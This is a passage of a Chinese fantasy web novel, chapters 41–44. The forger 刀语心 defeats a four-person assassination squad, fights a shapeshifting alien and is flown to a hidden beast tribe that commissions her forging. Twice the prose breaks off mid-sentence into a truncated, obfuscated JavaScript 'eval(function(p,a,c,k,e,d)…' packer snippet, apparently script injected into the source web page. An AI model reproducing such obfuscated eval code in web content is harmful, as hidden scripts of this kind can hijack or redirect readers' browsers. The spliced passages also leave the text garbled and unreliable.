“队长,你试试这把枪,我想让它在争夺战里起点作用,你看看有没有什么需要改良的地方。”比起刀语心,裴瑛的战斗经验更加丰富,对各种武器也熟悉得多。 二人来到训练场地,周围人和她们打着招呼,也有好奇的人停下手中的训练任务围了过来。 在发现人群无可事事地聚拢后,叶冰彦走过来,手搭在某人肩上。 “怎么?都不训练来凑热闹?今天训练任务都达标了?” 听到她的声音,围观之众四散而逃,只剩下被她擒住的那人战战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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知道这是明思想找刀语心,叶冰彦拍拍她的肩:“去吧,我也去忙别的事了。” 和叶冰彦道别后,刀语心来到明思面前,刀语心蹲下身子问她:“是在找我吗?” 扎着小辫的女孩点点头。 “语心姐姐,我可以选职业了!我想成为一个建筑师,不过在那之前我想听听你的意见。” “那你为什么想成为一个建筑师呢?” “我想造一个稳固的房子,这样我和妈妈就可以安心地生活在里面,虽然妈妈已经走了,但我想建一个更大的房子,让卫队的哥哥姐姐们,还有语心姐姐你一起住。” 这是孩童近乎天真的妄想,但也包含着最纯真的希冀。 “当然可以,这很棒,我希望选择这个职业能让你有所收获,而不会给你带来无止境的压力和后悔。” “嗯,我一定会的!谢谢你语心姐姐。” 刀语心又提供了一些有关建筑的书籍给明思后,就在日暮的余晖里,回到家中。 终端常年静音的她没有注意到裴瑛发送一条消息在通讯列表:军团的人逃来了卫队,他说有人被派去刺杀你,注意安全。 好在,推开家门的那一瞬间,刀语心就察觉到不对,她对自己的家中东西位置摆放一清二楚。 朝向错误的绿植,被放回原位的物品,撒落在走道上的泥土……不同寻常的迹象都在昭示着同一个事实: 有人来过。 但刀语心的步调未曾停歇,她如往常一般按照计划进行着之后的安排,在深夜结束锻造后回到房间关上了灯。 “她关灯了!” “闭嘴!” 埋伏在外的军团四人在静静等待数个小时后,趁着漆黑夜色开始行动。 “结界也布置好了。” 闻言为首的战士点头,随即他深吸一口气握紧手中的长柄斧,目光坚定地开口: “动手。” 41. 第 41 章 寂静无边的夜晚,只偶尔传来风吹拂着植物摇曳的沙沙声。 三道人影速度极快地从院中墙壁上落下,在被防御装置检测到的前一瞬,刻印在墙壁上的图案被银白的链刃破坏,失去刻印效果的装置俨然成为废铁。 刺客从暗影中走出和其余三人会合,在目光短暂交汇片刻后,他们共同悄然迈步朝着刀语心所在的屋子前去。 随后,巨大破坏声在黑夜中响彻。 长斧和链刃同一时间破开窗户和门框,无数玻璃碎片带着金属碎屑散落在地面,低声吟唱完毕的术士唤出破坏力极强的攻击,直接将房间最里面的床板洞穿。 但他们很快就发现,房间中根本没有刀语心的影子。 涌上心头的危机感让为首的战士察觉到身后出现了什么,他猛然回头,冰冷漆黑的长矛直直地对上他的双眼。 “小心——” 情急之下医师唤出屏障,将即将戳进战士眼中的长矛拦下,战士也得以抓住机会闪身躲开,只不过面对死亡的心悸还残留在他的体内。 还没等四人缓过神来,更多的长矛隐在黑夜之中,像雨滴一般砸向他们。 术士吟唱咒语,用自己的法术加强医师唤出的屏障,才让他们几人没有被源源不断的猛烈攻击射成筛子。 “她是锻造师?她怎么可能是锻造师?” 感受着屏障上传来的恐怖攻击,术士瞳孔中都是不可置信的颤抖,但他得到的回应是身旁医师的惊呼声。 “她来了!” 在他们抵御正面而来的长矛时,刀语心的剑光已经从侧面挥出。 剑锋和链刃撞击在一起发出刺耳的嗡鸣声。 身为攻击职业,但刺客依然落于下风,武器传来的震动让他手臂发麻,直到术士抽空朝刀语心射出一道法术,才让刺客重新获得喘息的机会。 “喂喂,你在干什么,现在可不是发呆的时候,不做点什么我们真的会死啊!” 战士还在没从之前的恐慌中缓过神来,直到听到术士的话才强行压下心中的恐惧,重新拿起手上的长斧。 但在看向站在他面前的刀语心时,他还是不由自主地开始害怕。 月光给刀语心镀上一层冷色,但那点光芒照亮不了她深黑的眼,那是想要将灵魂拖入深渊的可怖视线。 她想杀死他们。 这份杀意毫不作假,在场的每一个人都能感受到寒意。 长久居住的小院虽说不上精心布置,但也耗费刀语心许多心血,称之为家毫不为过,而此刻这份来之不易的安宁如今被尽数扰乱,罪魁祸首正站在她的面前。 怒火全数化为杀意,无论他们是什么原因来到这里,刀语心都不会有丝毫的留手。 随着又一轮长矛发射,刀语心凛冽的攻击劈向站在最前方的战士。 比起每一剑都精准无误刺向要害处的刀语心,挥舞长斧不断防御被连连击退的战士就有些力不从心。 慌乱的步调和苍白的面色无不昭示着战士在这场争斗中落于下风。 在打斗的间隙,术士不断吟唱着法术扰乱刀语心的进攻,但成效不大,每一次都被刀语心巧妙地避开。 同为近战攻击的刺客迟迟没有上前,而是在一旁看着战士的举动思索着对策。 “给他上净化和鼓舞。”看出战士状态不对的刺客指挥道。 说着,医师手中就射出一道法术没入战士的躯体,终于,在又一次被刀语心击得连连退步后,战士从恐惧的深海中逃离。 感受到自己的异化之力被压制,刀语心没有气恼,眼中甚至还闪过些许新奇,毕竟她也没打算靠这一点点放大情绪就将战士杀死。 她只是漫不经心地转着剑柄,心想:也不知道谢止沉会不会这样的手段。 只可惜他现在不在,刀语心也就无从得知。 她重新提起手中的剑,作势要攻去,但异化之力凝成的长矛猝不及防地从几人侧面射去,只可惜被一直提防着她的刺客全数挡了下来。 “好阴险,你怎么还声东击西!”被一惊一乍吓到的术士朝着刀语心叫喊。 “我阴险?那你四对一又算什么?” “算我们人多!”术士理所应当地说着。 被术士的回答气笑了的刀语心,只是将异化之力形成的水液扩散得更开。 在先前的交手中,刀语心也发现军团这几人和雇佣兵不同,他们配合得更好也更加团结,这也侧面说明他们是非常棘手的敌人。 如今战士也从恐惧中脱身,之后的战斗恐怕更加艰难。 但她为什么不逃跑?一是因为刀语心已经尝试过,周围似乎被布下了结界,她暂时找不到出去的方法。 再者,这里制造出如此大的动静,但外面没有传来任何的声音就说明,这个结界还将其中发生的一切隐藏起来,其他人无从知晓。 二是因为没有必要,的确没有人能够救她,但刀语心也从不将希望寄托在别人身上。 更何况……漆黑视线扫过院中的无数残骸,她心头涌出无尽的怒火。 他们必须付出代价。 “小心她脚下溢出的黑色液体!”医师再次出声提醒着其他人。 医师的观察力有点太敏锐了,有些多余。 对上刀语心视线的医师心下一惊,先前对准所有人的长矛此刻全部指向他一人。 但战士来到他的身前,将一切攻击挡下,还没等刀语心重新操控异化之力,紧接着刺客的反攻就来到面前。 闪着冷芒的链刃飞过刀语心的身侧,一缕发丝被切断,散落在黑夜之中。 碍事的东西。 在刀语心眼中的是明晃晃的不悦,她一把抓过锁链,直接发动技能将其熔断,一半链刃化为液态的金属滴落在地面,被黑水吞没。 “……我现在愿意相信她是个锻造师了。”因为没钱买不起法器的术士,此刻心中竟然涌现出一些幸灾乐祸。 “不想死就继续施法。”刺客冰冷的声音传来,他拿着只剩一边的链刃,和战士一同接连朝刀语心发起攻势。 但像是找到了有趣的玩具,刀语心不再猛烈进攻,只是不断躲避着战士的挥砍。 碍于对刀语心融化武器的警惕,战士把控着和刀语心的距离,不让她有机会接触自己手中的武器。 “你以为离得远就没事了吗?” 异化之力从地面涌出,死死锢住长斧后,刀语心毫不留情地将其融化。 感受着手中武器重量不断地减轻,战士心中的焦虑不断滋生,但他无论如何都没办法将武器夺回。 在战士挣扎的间隙,刀语心打算借此机会捅上一剑时,却被术士的攻击打断了进程。 真是烦人,他们的人数实在是太多了。 边不耐烦地想着,刀语心边直接通过异化之力传送到术士所在的后方,一剑朝他捅去。 只是这一击也没有落在术士身上,长剑刺穿了医师的肩胛骨,医师为术士挡下了这一击。 “喂,你没事吧?” 术士调转法术朝向刀语心将其逼走后,急忙扶住了医师的身体,对于他的问题医师只是虚弱地摇摇头,示意不用担心自己。 “你应该还有法力吧,快治疗自己。”

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冷汗直冒的术士顶着生死压力,极快地吟唱着,但法术具现的速度远没有刀语心的剑快。 她一剑劈开尚未成型的法术,术士直接被反噬吐血,在第二剑即将砍上去之前,战士拿着长斧仅剩的柄顶住了刀语心的攻击。 而刺客也重新拿回飞出去的链刃,再次朝着刀语心攻去。 只是刀语心不再躲避,而是直接只手捏住链刃。 但预想中受伤流血的画面并没有出现,只见她手掌中布满一股漆黑的力量。 见此,众人心中更是不同程度的震惊。 刀语心究竟是什么程度的怪物? 从开始袭击到现在,刀语心身上没有任何伤口,除了稍显凌乱的发丝之外,他们没有取得任何的可见成效。 兵败如山倒,战士明白再怎么挣扎下去都是徒劳,他们绝对无法赢过刀语心。 “请停手吧!我们……我们也是迫不得已。”战士苦涩地开口。 他很想活下去啊,即便他无法活下去,他也不希望所有人的生命葬送在这里。 “这就是你们毁了我家还想要杀死我的理由?” 刀语心毫无感情的双眼盯着几人,他们已经没有更多反抗的余力,像是躺在砧板上的鱼肉,而她为刀。 “我愿意用我的性命,换他们离开。” 听到这话后刀语心沉默下来,好像真的在衡量该如何抉择。 对此,术士十分不解。 “凭什么你去死啊?你们怎么一个个都这么舍己为人?当我是什么?要死大家一起死!”他又怎么甘愿在世上苟活。 “啧啧啧,还真是感人呢。” 夜色中突然出现一道不属于在场任何人的声音,而那起伏不定的怪异语调似乎也不像是人类。 一滩异物中凝出人形,但就像是一个未知的灵魂掌握着并不熟悉的躯壳,举手投足之间皆是一种伪装成人类的诡异感。 异形者出现了。 瞬息间,一道比之前所有加起来都更为猛烈的攻击划破黑夜,朝着刀语心攻去。 注意力全在军团四人身上的刀语心想要抵御,但那道攻击太快已经近在咫尺,而战士也在此刻突然朝她冲来。 夹在中间的刀语心似乎腹背受敌。 42. 第 42 章 不过只是似乎而已。 在身形溃散的前一瞬刀语心被战士猛地推开,而那一道攻击正好落在他的身躯之上。 “我请求你……放过他们……”战士边说着口中边流出鲜血,他想以自己的性命为价码换取刀语心的宽恕。 “别以为这样我就会原谅你们。”事已至此,刀语心没有责怪他的多此一举,她只是皱着眉头拿出谢止沉留下的治疗卷轴,拍到战士身上。 “更别把你的命寄托在我身上。” “你是怎么边话说这么狠的话边做好事的?”说完后术士就收到刀语心扫来的眼刀,他缩了缩脖子。 “去找卫队队长。”卫队是他们唯一的去处,再者无名镇上刀语心所知的人中,也或许只有裴瑛能够压制异形者。 “那你怎么办?”刺客问着。 屋子周围还有结界,作为布置者的他们可以自由出入,但刀语心并不知晓。 “我会留在这里。”如果离开这里,还会给异形者肆意杀人的机会,刀语心不想见到那样的情况发生。 “试着杀死他,或者让他杀死我。”刀语心语气中暗藏着某种兴奋,虽然她是异形者不得不杀死的目标,但异形者何尝又不是她的猎物呢? 异形者可是异种啊,他身上也有种子。 听到刀语心的打算,帮不上忙的军团四人只能放弃劝说,先一步搀扶着彼此离开,而异形者的目标只是刀语心,也不打算分出多余的精力对付他们。 “还真是舍己为人啊,伟大的锻造师小姐。” 从阴影中走出后,何弎那张熟悉的脸再次出现在刀语心面前,不过如今称呼他为异形者更为合适。 “舍己为人?这个词从你这个伪人嘴里说出来还真是恶心。” 异形者不会被这种程度的言语攻击激怒,他只是摊着双手面向刀语心说道: “我记得人类有句话叫作人不为己天诛地灭,我们异种也是一样,所以你应该不会介意我如此迫切想要杀死你的心情吧。” “要打就打,你话真多。”虽然往后拖延时间会有概率增加刀语心获救的可能性,但她从来不是那种甘愿等待着被拯救的类型。 更何况,潜藏在灵魂中的渴求被唤醒,刀语心想要吞噬更多种子。 “别这么讨厌我嘛,你不是也很想杀死我抢走我的种子吗?再说了,同为不属于这个世界的生命,我们怎么不算是一种他乡遇故知呢?” 异化之力已经铺满了整个庭院,刀语心也不打算继续和异形者无意义的闲聊下去。 “连躯壳都要靠抢夺的东西,还不配成为我的故知。” 剑锋毫不留情地朝异形者砍去,但对于刀语心的不耐异形者早有预料,他躲过最开始的攻击后,就化作一摊黏稠异物快速逃离刀语心的攻击范围。 “虽然我的情感不如人类丰富,但我也是会生气的,那人现在不在你的身边,你最好祈祷自己一个残缺的种子可以承接我的怒火。” 他的声音从刀语心身后传来,听到这话的刀语心只是嗤笑道:“我残缺?你又好到哪里去?” 她握着灭灵剑注入异化之力,剑身再次镀上黑色虚影,感受这股力量的异形者也是眼神一暗,但他只是笑着说道:“别这么着急嘛,再多活一会不好吗?” 没有回答他的话,刀语心只是转身挥剑砍去,但异形者每一次都是恰好擦着剑锋躲开。 察觉不对的刀语心很快发现了问题所在,异形者对她的手段太过熟悉。 “我可没有荒废这些天四处躲藏的日子,你所有的手段我都一清二楚,在结界封锁之下你也没有任何退路,好好陪我说说话你或许还可以多在这个世界上残存一段时间。” “闭上你的嘴,你真的很烦。” “我偏不。”异形者非常欠揍地笑着,偏偏刀语心的攻击还真的落不到他身上。 得限制异形者的行动,意识到这点后,刀语心默默开始谋划。 不过知道刀语心手段的异形者,十分提防无处不在的黑液,但异化之力可不只依附于黑潮出现。 趁着夜色的遮掩,在缠斗的间隙,刀语心将异化之力织成天罗地网,拉开距离后将异形者网在其中,但被困住的异形者没有丝毫惧怕之意,就像是在他的意料之中。 即便被异化之力束缚的地方都被腐蚀,但异形者的脸庞上挂着古怪的笑意。 “被你打了这么久,也是时候轮到我反击了。” 在灭灵剑刺向异形者之前,刀语心感受到不同寻常的能量波动传来,比第一次遇见异形者时更恐怖的法术瞬间浮现在空中。 无数致命攻击朝着刀语心源源不断袭来。 更要命的是异形者的法术攻击还会追踪,即便刀语心利用异化之力转移离开,攻击依然死死紧跟着她,而她无法像谢止沉一样长时间融入异化之力之中躲避攻击,只能不断逃窜。 释放异化之力对冲抵消攻击,但因为距离过近,刀语心身上依然有着被力量灼烧的刺痛感。 同为法师,异形者的攻击虽然不如祭司一样铺天盖地,但带来的威胁远超祭司。 当时祭司忙于争夺魔矿,只是用法术阻碍刀语心的前进,而此刻不同,碍于自身种族的局限性,异形者必须杀死刀语心。 “你想和我聊聊天吗?”异形者挂着怪异笑容问着。 “去死。” 回应异形者的只有刀语心的剑。 又一次险险躲开的异形者朝刀语心抱怨着:“你好凶啊。” 猝不及防间,一道闪电般的法术缠绕在刀语心持剑的手腕上,突如其来的疼痛让她松开握剑的手。 “这把剑看上去很眼熟,我想起来了,这是上一轮神战的遗物,你是在哪里找到这把老古董的?”异形者边说边触摸着剑身,很快手心就血肉模糊。 “看起来你并不知道正确用法呢,在你手里真是浪费,不过用来杀死你倒是正合适。” 话音刚落异形者就拿剑刺向刀语心,她迅速躲开但腰间还是不可避免地被划出一道血痕,而不知为何,她使用回复药剂后伤口没有任何治愈的迹象。 刚才她有机会直接将灭灵剑熔断,但毕竟是自己用了很久的剑,刀语心没舍得。 从更早时候异形者就潜藏在一旁,看着刀语心和军团打架,也亲眼看着她将武器熔断,此刻看出刀语心的犹豫,异形者出言嘲讽道: “难道你还觉得自己会活下来吗?” 不愿理会异形者,刀语心只是拿出从前使用过的匕首直接捅在异形者身上,即便身上的伤口被动作扯痛,但她手上的力气丝毫没有减弱。 和军团几人不同,身为锻造师的她是有备用武器的。 异形者的表情变了变,他没有预料到刀语心会如此激进,只不过他的嘴依然没能闭上。 “真疼啊,只可惜没有本源之力加持的攻击,根本杀不死我。” 二人都不顾身上的伤势,拿着手中的武器彼此碰撞,只是很快刀语心就感到吃力,不仅仅是因为匕首的劣势和身上的伤口,还有来自职业壁垒的制约。 战斗持续的时间太长规则发现了她,而刀语心还没有彻底掌握异化之力浸染灵魂的办法,无法彻底隔绝掉规则的影响。 她只能先拉开距离。 “你怎么变弱了?是武器不趁手吗?”这是刀语心首次主动退开,异形者非常好心地讽刺道。 得不到回应的异形者只是将嘲讽的目光扫向刀语心所在位置,刀语心站在原地什么都不做,像是失去了所有的攻击欲望一般。 看着异形者眼中的戏谑,刀语心知道自己既有的攻击全部都被异形者看穿和防范,她必须在短时间内找到其他手段。 比如初始态异化之力。 刀语心正好想试试,初始态的异化之力可以做到什么地步。 或许此刻不是一个合适的时机,但刀语心并不畏惧失败,也不畏惧死亡,她只是站在无尽淤泥之中,寻找着自己的路。 异化之力开始以刀语心为中心泛起波浪,开始顺时针旋转形成一个涡旋,像是要将周围的一切吞入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他为什么如此兴奋?刀语心脑海中冒出疑问,看着如此反常的异形者,一种不祥的征兆在她心中蔓延。 她担心这是异形者计谋的其中一环。 见到刀语心的犹豫,异形者只是笑容更甚:“你在犹豫什么?这么大好机会不要?你不杀了我,那我可就要杀你了。” 这是很简单的道理,刀语心也很清楚,只是她觉得自己陷入了某种死局,杀也不是,不杀也不是。 刀语心打算折中,如果不杀异形者,那让他失去所有行动力也可以。 只不过在看到异形者失去的右手瞬息间重生后,她发现这想法行不通。 在这期间异形者不断朝着刀语心攻去,陷入两难的刀语心只能不断抵抗,向来喜欢主动迎击的她如今成了被动的那一个,她讨厌这样的感受。 杀了他,刀语心眸中闪过冷光,她下定决心。 谁拦着她的路,她就杀了谁。 “对对,就是这样,来吧,杀死我。”异形者的眼中没有对死亡的恐惧,而是一种饱含热切希冀的期待。 灭灵剑上的黑色虚影凝实几分,刀语心不再犹豫,朝异形者的心口刺去。 但就在这时,许多声音一齐传入刀语心耳中,结界的碎裂声、羽翼划破空气的声响,以及—— “不要杀死他!” “刀语心——” “天上的那是什么东西?” 所有的一切叠加在一起,就在这停顿的刹那,刀语心手腕上流光在黑夜中骤然显现,赤红在漆黑的夜中格外醒目,它化作一条直线撕裂了空间,随后一道熟悉的身影从中降临。 转瞬间,无数流光贯穿异形者的胸膛,像血色鲜花绽放。 不过还没等刀语心和那双璀璨红眸对视片刻,她就被一阵突如其来的强烈气流扰乱视线。 再睁眼,她已经被抓上了高空之中。 43. 第 43 章 不断被气流冲刷,勉强睁开眼睛的刀语心发现自己正在远离地面。 地上的人似乎都朝她投来目光,只是她看不太清,唯有一缕赤色流光划破夜空朝她而来,绕在她的手腕上。 还未生出的不安在此刻烟消云散,刀语心也得以专心审视自己此刻的状态。 她的腰间被兽爪擒住,这让她想起一种老鹰捉小鸡的游戏,而她现在正扮演被抓住的鸡崽。 挣扎着调整姿势,刀语心握着手中的剑准备找时机攻击,但肩膀上忽然传来一点重量,一道熟悉的声音从她耳畔响起: “人类大姐姐!我来找你了!” 闻声侧头看去,小蜥蜴正稳稳当当地停在她的肩头。 “……原来这就是你寻找我的方式吗?”刀语心默默将灭灵剑收起,在她原本的设想中,小蜥蜴的大姐应该会化作人形,带着小蜥蜴礼貌敲响自己的家门。 而不是在此时此刻给她一个如此近乎惊吓的惊喜。 “是大姐说这样的效率更高。”说着小蜥蜴抬头看向正抓着刀语心的异兽,向它求证自己话语中的真实性。 在空中翱翔的异兽没有回应它,而是开口对刀语心说: “想杀了我?你可以试试。” 闻言,刀语心面不改色地说道:“怎么会呢。” 在空中翱翔的异兽大姐只是从鼻腔中发出一声冷哼,并没有戳破刀语心。 心胸宽大的小蜥蜴完全没有注意到她们之间暗潮涌动的交流,它只是趴在刀语心肩上感受着夜风从自己流逝。 “人类姐姐,怎么样,飞在天上是不是很好玩?” “是吧……”刀语心只隐隐约约觉得自己胃部有些不适。 在万米高空穿梭的确是很稀罕的体验,但如果有选择的话,刀语心绝对会用走的。 “大姐!来一次那个!就是以前你常和我玩的那个!”听着耳边传来小蜥蜴兴奋的声音,刀语心有种不好的预感。 随即得到印证,一直抓着刀语心的爪子松开了。 于是她在上千米的高空中自由落体。 前所未有的刺激体验也终于让那双宛若死水的眼中泛起波纹,刀语心从发丝的间隙看到悬挂于高空的星月。 但这也代表着她正在脑袋朝下坠落。 刀语心陷入一种前所未有的紧绷状态,她完全没有预想过自己有朝一日会需要紧急迫降,所以也完全不知道如何才能在不断坠落中存活下来。 她不恐高,更不畏惧死亡,只是无法预料的未知带来的不可控性会让她感到恐慌。 失重、失温、失控…… 她在想,自己什么时候会死。 在灵魂飘向地狱之前,刀语心落下了,并不是预想中和大地亲密接触后四分五裂的感受,她触及的是冰冷光滑的鳞片。 刀语心长舒一口气。 是了,她还有利用价值,她还有小蜥蜴的委托,并不会在此刻死去。 “再来一次!再来一次!”落在刀语心身边的小蜥蜴语调高昂的叫喊着。 “还是算了吧,先看看你的人类姐姐怎么样了。” 闻言,玩性大发的小蜥蜴此刻才注意到刀语心从刚才开始就保持刚落下的姿势,一动不动地躺着仰望星空。 “大姐姐,大姐姐?你怎么了?”它快速凑到刀语心眼前,挤进被夜空占据的视线范围之中。 “这点程度应该不会把你吓傻吧。”载着刀语心的异兽大姐“亲切”问道。 “……我很好。”刀语心有气无力地回应着,“还有多久能落地?” “大概半个小时吧?我忘了你刚才还在打架了,先休息会吧。”小蜥蜴用爪子挠挠自己的脑袋,略感歉意地说着。 听到这话后,刀语心眨眨眼,看着点点星光渐渐趋于黯淡,天际线传来光亮,太阳似乎即将升起,只不过刀语心无暇在意,片刻后她疲惫地闭上了眼睛。 而不久前停留在无名镇中,眼睁睁看着刀语心消失在黑夜中的人们,一夜未眠。 在给刀语心发完消息许久不见回应后,裴瑛就心中一紧,她联络就近的巡逻队伍,但得到的是一切安然无恙的回复。 还没等她放下心来,又接到紧急通讯,巡逻队发现有四人重伤从刀语心家中出现,说是刀语心被困在结界之中,裴瑛赶到想要进入,军团几人却说结界失去控制,他们也无法再回到其中。 裴瑛没想到破开结界反而将刀语心置于危险之中,在刀语心被抓走的第一时间,裴瑛就准备将那异兽的翅膀斩断。 但她的攻击却被一道红光拦下。 “那异兽是刀语心朋友的族人,她接下了对方的委托。”谢止沉开口解释着。 在被拦下的片刻间,异兽已经带着刀语心消失在夜空中,裴瑛也只得将手中的刀放下,冷冽的视线扫向站在庭院中的谢止沉。 她见过很多能人异士,也勉强算得上是见识广泛,但她还是看不透这位医师。 不管是之前那枚突然出现在桌上的金币,还是他突然出现的手段,或者是他刚才接下的攻击,一切都昭示着谢止沉绝非凡人。 但裴瑛并不打算轻信于他,这关乎刀语心的安危。 她饱含冷意的语调出声问道:“这支族群的部落在什么地方?” “在沙漠西北方与邪魔域的交界处,它们一族会将领地隐藏,如果裴队长想去寻找刀语心的话,我可以告诉你进入的方法。” “但我保证,我会把她平安带回来。” 相顾无言片刻后,裴瑛收起武器,感受到杀意退却的谢止沉松了一口气,碍于刀语心的原因,他不愿与裴瑛对上,更不愿意给对方留下不好的印象。 “我信你这一次。”裴瑛冷冰冰地说道。 如果一天之内她没有收到任何证明刀语心存活的信息,无论如何裴瑛都会让谢止沉付出代价。 说完后,裴瑛带队押送着军团袭击的几人离开。 其实在刀语心被抓走的那一刻,谢止沉就和裴瑛有着相同的打算,只是在看到异兽展开的双翼时,他突然想起这一族的来历——翼蜥龙裔。 和之前出现在刀语心身边的小蜥蜴同属一个族群。 回到刀语心手腕上的流光也显示着她此刻所在方向,不过在去找她之前,他得先解决掉还未处理的麻烦。 重伤垂死的异形者还在地上苟延残喘。 只是无论如何挣扎,异形者都无法驱逐那些正撕碎自己的流光,更无法阻止自己的身躯溃散,他还感受到这股正在撕 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一个陌生的声音从门外传来,与之一同而来的是两个披着斗篷的人影,为首之人站在门外,左顾右盼确定没其他人在场后掀下斗篷。 “你好,我是公会的宋齐,我想找刀语心小姐。” 他的声音有些犹疑,看着站在遍地狼藉中的谢止沉,宋齐本能感受到眼前之人的危险。 “她暂时不在,如果有什么事,我可以代为转达。”等到处理完这一地残骸,谢止沉就准备前去寻找刀语心,传几句话并不是什么难事。 听到答复后宋齐似乎有些拿不定主意,他转身回头看另外一人,而接收到视线的后者向前几步掀开斗篷。 同样是一个谢止沉从未见过的人,但他们二人的目的自始至终都是刀语心。 “我是罗会长的副官简一,长话短说,我们想和刀语心小姐合作。”简一开门见山告知诉求。 “合作是指整个公会,还是单独你们二人?”谢止沉反问道,他记得公会已经和军团合作,而刀语心也已经拒绝了那位罗会长的邀请。 如今,在他面前的二人又是站在什么样的立场寻求合作? 听到这话的宋齐眼神有些慌张无措,而简一同样回避着视线沉默片刻,随后她深吸一口气,抬眼目光坚定回答道: “除罗会长之外的,公会所有人。” 而此刻,在沙漠另一头的刀语心正睡得昏昏沉沉,她感觉似乎有什么东西在推搡着她的肩。 “人类姐姐,醒醒,我们到啦。” 迷迷糊糊间刀语心好像躺在谁的怀里,不过紧接着被那人毫不留情地放在了地上。 刀语心:...... 撑着手臂起身,刀语心捂着自己隐隐作痛的额头。 战斗带来的疲惫感完全没有退去,反而在短时睡眠后加重,身上的伤势也被搁置迟迟没有恢复,刀语心也是在撑起身体感受到疼痛时,才想起自己还受了伤。 “玄霜,你怎么能把客人放在地上呢?” 在还未彻底清醒过来的时分,刀语心听见一句并不严厉的斥责声传来。 44. 第 44 章 随着脚步声停住,来人将刀语心从地上扶起。 清醒过来的刀语心抬眼,却发现对方眼眸中的是一双属于异兽的竖瞳,感受到刀语心的目光后,眼睛的主人向她露出一个慈爱的微笑。 “母亲。” “母亲!你来啦!” 闻声转头看去的刀语心这发现还有另一人在场,不过准确来说应该是人形异兽。 从那毫无温度的嗓音和冷若冰霜的面容来看,应该就是刚才听到的玄霜,也就是那个把她抓走还在天上自由落体的异兽,和妇人完全化作人形不同,玄霜额头两侧还留有兽角。 像是一种昭示,她不是人类。 慈眉善目的妇人先摸摸玄霜的脑袋,又轻轻抚了抚在玄霜肩上趴着的小蜥蜴。 在和孩子们打过招呼后,妇人又笑着对刀语心说:“按照人类的辈分来算,你可以称呼我为玄姨。” “玄姨好,我是刀语心。”这个称呼让刀语心有种上朋友家做客的感觉。 听到刀语心的问候妇人面上笑容加深,转头对着小蜥蜴和玄霜叮嘱道:“小风,你先和大姐去别处玩,族长爷爷想见见刀语心小姐。” “刀语心姐姐,那我之后再来找你玩。” 名为玄风的小蜥蜴和刀语心挥爪告别,玄霜的视线也在刀语心身上停留片刻后转身离开。 “跟我来吧。” 跟着玄姨一路走过异兽部落,从未见过这番景象的刀语心打量着四处,终端显示这里位于沙漠和邪魔域交界处,但既没有沙漠的荒凉,更没有邪魔域的死寂,反而让她感受到浓烈的生机。 生活在这里的异兽分工明确各司其职,田地中有辛勤耕作的身影,不远处传来外出打猎满载而归欢声笑语、年幼的孩童在嬉戏玩闹…… 许多目光都投向刀语心,但那些视线和刀语心一样,只是好奇,并没有任何恶意。 一路的空气中弥漫着泥土和植物的芬芳,穿过一段小径,日光透过树冠的缝隙径直洒落在墓碑上,只见一位白发苍苍的老者站在碑前,正在絮絮叨叨说着什么。 “……既定的命运,我会……” “族长,刀语心小姐来了。”玄姨的声音远远传去。 闻声,白发苍苍的老者弯腰放下手中的花转过身来,他面容慈善带着一种看淡世俗的超脱,并不是刀语心预料之中满目凶光。 或许从前是,老者面部有一道可怖的伤疤,但在经历过时间的冲刷后,他成为一位令人安心的长者。 族长和玄霜一样,没有将所有异兽的痕迹隐去,额边还留有彰显异兽身份的双角,这不由得让刀语心想到,人的躯壳固然方便,但异兽才是他们的本质。 将刀语心带到后,玄姨就先一步离开了。 族长伸手示意刀语心坐在树桩砌成的木凳上,他摸着自己留长的胡须说着:“刀语心小姐,我代表我的部族欢迎你的到来,有劳你来我们这个荒无人烟的地方了。” “这里很好,这是我的承诺。”刀语心答应过玄风,只不过她本以为小蜥蜴只是一个小家庭,结果没想到是如此庞大的隐秘部落。 “虽然小风她已经和你说过我们寻找锻造师的目的,但还是给我一些时间让我再详细解释一下。” 从族长口中刀语心了解到,他们是从其他世界流放到这里的。 “在颠沛流离下或许我不该追求这些老旧的传统,但这是我已故妻子的遗愿,她希望我能将族群延续下去,所以这便是我余生的目标,即便倾尽一切,我也会实现。” 刀语心听得出这话没有丝毫作假。 “不过在那之前,还烦请你通过一个安全测试。” 说完族长手中出现一个图腾木桩,上面有许多规整的纹路,他将其递给刀语心。 “请你使用精神力,点亮它。我们一族传承的图纸有些特殊,如果精神力不够会被反噬。” 掂量着木桩还是有些重量,上面的图腾刀语心从未见过,她按照组长所说将精神力注入其中,感受着力量的流出,木桩的图腾也渐渐亮起光芒,从灰暗至明亮,直至灿烂灼目。 咔嚓—— 手中的木桩四分五裂,刀语心抬眼看向族长等待他的解答。 “超出了它的承受极限,看来刀语心小姐天资聪慧。既然如此,那就委托刀语心小姐你帮我们锻造出护心镜了,这些是我准备的报酬。” 一个朴实无华的空间戒指被推到刀语心面前,她拿起用精神力扫过,被其中无数材料短暂震慑到。 “这也太多了吧?” 看着刀语心充满疑惑的目光,族长只是笑着说:“别担心,这些是你应得的,再说了,这些东西生不带来死不带去,不如交给更有用的人。” 有图纸,有材料,有高额报酬,刀语心没有任何拒绝的理由。 “感谢你的帮助,但碍于一些原因,可能需要麻烦你在这里小住一段时间。” 和族长谈话完毕后,重新出现的玄姨带着刀语心离开,离去的刀语心没有发现族长的目光一直跟随在身上。 直到刀语心的身影彻底消失,族长才收回目光,他重新来到妻子的墓碑前感叹道: “这就是我们一族的命运啊。” 给刀语心安排的住处是后山的木屋,这里环境清幽,还与部落其他地方有一段距离,不会被打扰。 “虽然我特意叮嘱过让小风不要来打扰你,但你知道的,小孩子总是喜欢到处晃悠,还有劳刀语心小姐你多多包涵了。”年岁尚小的孩童,正是不听劝的类型。 “没关系的。”如此多的酬金,刀语心会包容一切。 这个地方大概是提前准备好的,屋外的小院有熔炉,屋内也提前打扫过,只要刀语心愿意,她可以直接睡上一觉。 